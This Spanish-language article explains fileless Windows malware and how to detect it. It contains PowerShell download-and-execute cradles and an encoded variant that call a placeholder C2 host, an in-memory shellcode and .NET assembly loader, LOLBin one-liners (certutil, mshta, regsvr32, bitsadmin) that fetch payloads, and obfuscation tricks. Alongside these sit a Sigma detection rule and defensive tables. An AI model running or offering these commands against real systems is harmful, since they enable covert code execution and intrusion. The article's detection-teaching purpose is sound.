Fileless Malware en Windows: PowerShell, .NET y WMI como Armas
Análisis técnico de malware fileless en Windows. Ejecución en memoria sin tocar disco via PowerShell, .NET reflection, WMI y LOLBins. Técnicas, ejemplos reales, cadenas de infección y estrategias de detección con AMSI, ETW y EDR.
El malware que no existe en disco
El modelo tradicional de detección de malware asume un archivo malicioso: un .exe que se descarga, se guarda en disco y se ejecuta. El antivirus lo escanea, lo compara contra firmas, y lo bloquea. Este modelo lleva funcionando décadas.
El fileless malware rompe este modelo. En vez de descargar un ejecutable, el atacante usa PowerShell para descargar código directamente a memoria y ejecutarlo. En vez de escribir una DLL en disco, usa .NET reflection para cargar un assembly desde un byte array en memoria. En vez de instalar un servicio, crea una WMI Event Subscription que ejecuta un script embebido.
Según CrowdStrike, el 75% de las detecciones en 2024 no involucraron un archivo malware tradicional. La industria de la seguridad ha tenido que reinventarse para enfrentar amenazas que no existen como archivos.
Taxonomía del fileless malware
El término "fileless" es un espectro, no un binario. Microsoft clasifica las amenazas fileless en tres niveles:
| Nivel | Descripción | Ejemplo |
|---|---|---|
| Tipo I: Completamente fileless | Nunca toca disco. Todo ocurre en memoria | Exploit de navegador que ejecuta shellcode en memoria, luego inyecta en proceso |
| Tipo II: Actividad fileless indirecta | No usa archivos ejecutables pero persiste en registro/WMI | PowerShell script almacenado en clave de registro, ejecutado por Run key |
| Tipo III: Archivos necesarios para operar | Usa archivos no ejecutables (scripts, documentos) para ejecutar | Macro VBA que llama a PowerShell que descarga payload en memoria |
La mayoría del "fileless malware" en la práctica es Tipo II o III: evita archivos .exe y .dll en disco pero usa scripts, registro o WMI para persistir.
PowerShell como arma (T1059.001)
Descarga y ejecución en memoria
El patrón más conocido de fileless malware:
# Download cradle: descarga script y lo ejecuta en memoria
IEX (New-Object Net.WebClient).DownloadString('http://c2.example.com/payload.ps1')
# Variante con Invoke-WebRequest
IEX (Invoke-WebRequest -Uri 'http://c2.example.com/payload.ps1' -UseBasicParsing).Content
# Variante con System.Net.Http.HttpClient (.NET moderno)
$client = [System.Net.Http.HttpClient]::new()
IEX ($client.GetStringAsync('http://c2.example.com/payload.ps1').Result)
El script descargado nunca se escribe en disco. Se ejecuta directamente desde la cadena de texto descargada.
Ejecución de shellcode en memoria
# Cargar shellcode en memoria y ejecutarlo (pseudocodigo simplificado)
$shellcode = [Convert]::FromBase64String("TVqQAAMAAAAEAAAA...")
# Reservar memoria ejecutable
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
# Cambiar permisos a RWX
$old = 0
[Win32]::VirtualProtect($mem, $shellcode.Length, 0x40, [ref]$old)
# Crear delegate y ejecutar
$delegate = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mem, [Action])
$delegate.Invoke()
Encoding y ofuscación
PowerShell soporta ejecución de comandos codificados en Base64:
powershell.exe -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYwAyAC4AZQB4AGEAbQBwAGwAZQAuAGMAbwBtAC8AcAAnACkA
El parámetro -enc (EncodedCommand) acepta un script en Base64 UTF-16LE. Esto ofusca el contenido del comando en la línea de comandos pero es trivial de decodificar para un analista.
Técnicas de ofuscación avanzada
| Técnica | Ejemplo | Propósito |
|---|---|---|
| String concatenation | "Down" + "load" + "String" | Evitar detección por string matching |
| Variable substitution | $a="IEX"; $b="Net.WebClient"; & $a (New-Object $b)... | Ocultar keywords |
| Tick marks | I`E`X (backticks entre caracteres) | PowerShell ignora backticks en medio de keywords |
| Character substitution | [char]73 + [char]69 + [char]88 = "IEX" | Construir strings desde códigos ASCII |
| Invoke-Obfuscation | Herramienta que aplica múltiples capas | Ofuscación automatizada |
| Invoke-CradleCrafter | Genera download cradles ofuscados | Variaciones de IEX/DownloadString |
Detección de PowerShell malicioso
| Método | Descripción | Fuente |
|---|---|---|
| Script Block Logging (Event ID 4104) | Registra el contenido del script ANTES de la ofuscación (post-deobfuscation) | PowerShell |
| Module Logging (Event ID 4103) | Registra ejecución de cmdlets | PowerShell |
| AMSI | Escanea contenido de scripts antes de ejecución | Windows 10+ |
| Constrained Language Mode | Restringe PowerShell a cmdlets básicos | GPO |
| Command line monitoring | Detectar -enc, -ep bypass, -w hidden | Sysmon Event ID 1 |
Script Block Logging es la defensa más importante: registra el script deofuscado. Incluso si el atacante usa múltiples capas de encoding, PowerShell decodifica todo antes de ejecutar, y el Script Block Log captura el resultado final.
.NET como vector fileless
Reflection: cargar assemblies en memoria
.NET permite cargar y ejecutar assemblies (DLLs/EXEs .NET) directamente desde un array de bytes en memoria:
// C#: cargar assembly desde bytes en memoria
byte[] assemblyBytes = DownloadFromC2("http://c2/payload.dll");
Assembly assembly = Assembly.Load(assemblyBytes);
MethodInfo entryPoint = assembly.EntryPoint;
entryPoint.Invoke(null, new object[] { new string[] {} });
# PowerShell: cargar assembly .NET desde bytes
$bytes = [System.Convert]::FromBase64String($base64Payload)
$assembly = [System.Reflection.Assembly]::Load($bytes)
$assembly.EntryPoint.Invoke($null, @(,[string[]]@()))
Esto permite ejecutar un programa .NET completo sin que exista como archivo en disco. Herramientas como Cobalt Strike (execute-assembly), Covenant y Sliver usan esta técnica extensivamente.
Execute-Assembly (Cobalt Strike)
Cobalt Strike incluye la capacidad execute-assembly que:
- Lee un assembly .NET (SharpHound, Rubeus, Mimikatz .NET) en el operador
- Lo envía al beacon
- El beacon crea un proceso sacrificial (ej. dllhost.exe)
- Inyecta un loader .NET en el proceso
- El loader carga el assembly en memoria via
Assembly.Load(byte[]) - El assembly se ejecuta y los resultados se envían de vuelta al operador
En ningún momento el assembly toca el disco del sistema objetivo.
Detección de .NET in-memory loading
| Indicador | Método |
|---|---|
Assembly.Load(byte[]) en logs AMSI | AMSI (.NET 4.8+) escanea assemblies cargados dinámicamente |
ETW provider Microsoft-Windows-DotNETRuntime | Eventos de carga de assembly, JIT compilation |
| Proceso con CLR cargado que no debería tenerlo | Proceso no-.NET (dllhost.exe) cargando clr.dll |
| High entropy memory regions con PE headers | Memory scanning |
LOLBins: Living Off the Land (T1218)
Los LOLBins más abusados
| LOLBin | Uso malicioso | MITRE ID | Detección |
|---|---|---|---|
certutil.exe | Descarga archivos: certutil -urlcache -f http://c2/payload.exe out.exe | T1105 | Sysmon: certutil con -urlcache |
mshta.exe | Ejecuta HTA (HTML Application): mshta http://c2/payload.hta | T1218.005 | Sysmon: mshta con URL |
rundll32.exe | Ejecuta DLLs: rundll32 payload.dll,EntryPoint | T1218.011 | Sysmon: rundll32 con DLL no estándar |
regsvr32.exe | Ejecuta scripts: regsvr32 /s /n /u /i:http://c2/file.sct scrobj.dll | T1218.010 | Sysmon: regsvr32 con URL (Squiblydoo) |
msiexec.exe | Instala MSI remoto: msiexec /q /i http://c2/payload.msi | T1218.007 | Sysmon: msiexec con URL |
wmic.exe | Ejecución remota: wmic process call create "payload" | T1047 | Sysmon: wmic con process call create |
cmstp.exe | Bypass UAC: cmstp /ni /s payload.inf | T1218.003 | Sysmon: cmstp con archivo .inf |
msbuild.exe | Ejecuta código C# inline: msbuild.exe payload.csproj | T1127.001 | Sysmon: msbuild ejecutando proyecto no-VS |
installutil.exe | Ejecuta assembly: installutil /logfile= /logtoconsole=false payload.dll | T1218.004 | Sysmon: installutil con DLL no estándar |
bitsadmin.exe | Descarga: bitsadmin /transfer job http://c2/payload C:\out | T1197 | Sysmon: bitsadmin con URL externa |
Referencia: LOLBAS Project
El proyecto LOLBAS (lolbas-project.github.io) mantiene un catálogo actualizado de todos los binarios de Windows que pueden abusarse, con ejemplos de uso ofensivo y defensive.
Cadenas de infección fileless reales
Cadena 1: Phishing → Macro → PowerShell → Cobalt Strike
1. Email con documento Word adjunto
2. Usuario abre y habilita macros
3. Macro VBA ejecuta PowerShell ofuscado
4. PowerShell descarga y ejecuta beacon Cobalt Strike en memoria
5. Beacon se inyecta en proceso legítimo (reflective DLL injection)
6. Operador controla el sistema via C2
Archivos en disco: solo el documento Word original
Cadena 2: Exploit → Shellcode → .NET loader → Payload
1. Exploit de aplicación web (ej. Exchange ProxyShell)
2. Shellcode ejecutado en memoria del proceso de IIS
3. Shellcode carga un loader .NET via Assembly.Load(bytes)
4. Loader descarga payload final y lo ejecuta en memoria
5. Payload establece persistencia via WMI Event Subscription
Archivos en disco: ninguno (WMI subscription en repositorio WMI)
Cadena 3: LOLBin chain
1. mshta.exe ejecuta HTA desde URL
2. HTA contiene VBScript que ejecuta PowerShell
3. PowerShell usa certutil para decodificar payload Base64
4. Payload decodificado se ejecuta con rundll32
Archivos en disco: payload temporal (decodificado por certutil, eliminado después)
Estrategias de detección
Capas de defensa contra fileless
| Capa | Tecnología | Qué detecta |
|---|---|---|
| AMSI | Windows built-in | Contenido de scripts PowerShell, VBScript, .NET assemblies |
| Script Block Logging | PowerShell | Contenido deofuscado de scripts PowerShell |
| ETW | Windows built-in | Eventos de .NET, WMI, PowerShell a nivel de sistema |
| Sysmon | Sysinternals | Creación de procesos, conexiones de red, accesos a procesos |
| EDR | Comercial | Behavioral analysis, hooks en APIs, memory scanning |
| Constrained Language Mode | GPO | Restringe PowerShell a cmdlets básicos |
| Application Whitelisting | AppLocker, WDAC | Bloquea ejecución de scripts y binarios no autorizados |
Regla Sigma: PowerShell download cradle
title: PowerShell Download Cradle Execution
id: e1234567-f2a3-b4c5-d678-9ef012345678
status: stable
logsource:
category: process_creation
product: windows
detection:
selection_powershell:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
selection_download:
CommandLine|contains:
- 'DownloadString'
- 'DownloadData'
- 'DownloadFile'
- 'Invoke-WebRequest'
- 'iwr '
- 'wget '
- 'curl '
- 'Net.WebClient'
- 'Start-BitsTransfer'
condition: selection_powershell and selection_download
level: high
tags:
- attack.execution
- attack.t1059.001
Indicadores de alta confianza
| Indicador | Confianza |
|---|---|
PowerShell con -enc + -ep bypass + -w hidden (los tres juntos) | Muy alta |
| Proceso no-.NET cargando clr.dll/clrjit.dll | Alta |
certutil con -urlcache -f + URL externa | Muy alta |
| mshta.exe con URL como argumento | Muy alta |
regsvr32 con /i:http:// (Squiblydoo) | Muy alta |
| Proceso hijo de WmiPrvSE.exe que es cmd.exe o powershell.exe | Alta |
Mapeo MITRE ATT&CK
| Técnica | ID | Contexto fileless |
|---|---|---|
| PowerShell | T1059.001 | Download cradles, in-memory execution |
| Visual Basic | T1059.005 | Macros VBA, VBScript |
| JavaScript | T1059.007 | JScript, HTA |
| Signed Binary Proxy Execution | T1218 | LOLBins (mshta, rundll32, regsvr32) |
| BITS Jobs | T1197 | bitsadmin para descarga |
| Trusted Developer Utilities | T1127 | MSBuild, InstallUtil |
Fuentes y referencias
- CrowdStrike. "2024 Global Threat Report: Malware-Free Activity." CrowdStrike, 2024.
- Microsoft. "Understanding Fileless Threats." Microsoft Security Blog.
- LOLBAS Project. "Living Off The Land Binaries, Scripts and Libraries." https://lolbas-project.github.io/
- MITRE ATT&CK. "Command and Scripting Interpreter: PowerShell (T1059.001)." https://attack.mitre.org/techniques/T1059/001/
- Mandiant. "Fileless Malware: Attack Trend Spotlight." Mandiant Intelligence, 2023.
- Red Canary. "2024 Threat Detection Report: PowerShell." Red Canary, 2024.
- Microsoft. "PowerShell Script Block Logging." Microsoft Docs.
- SigmaHQ. "PowerShell Detection Rules." https://github.com/SigmaHQ/sigma
Preguntas frecuentes
Libros recomendados
Artículos relacionados
WMI como Vector de Ataque y Persistencia en Windows
AMSI Bypass: Técnicas de Evasión y Contramedidas Defensivas
Evasión de Antivirus: Ofuscación, Packers y Crypters
Reglas Sigma: Sintaxis, Estructura y Tu Primer Caso Práctico
De Alerta EDR a Informe Ejecutivo: Caso End-to-End Completo
CAPE Sandbox: Extracción de Config de AgentTesla
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.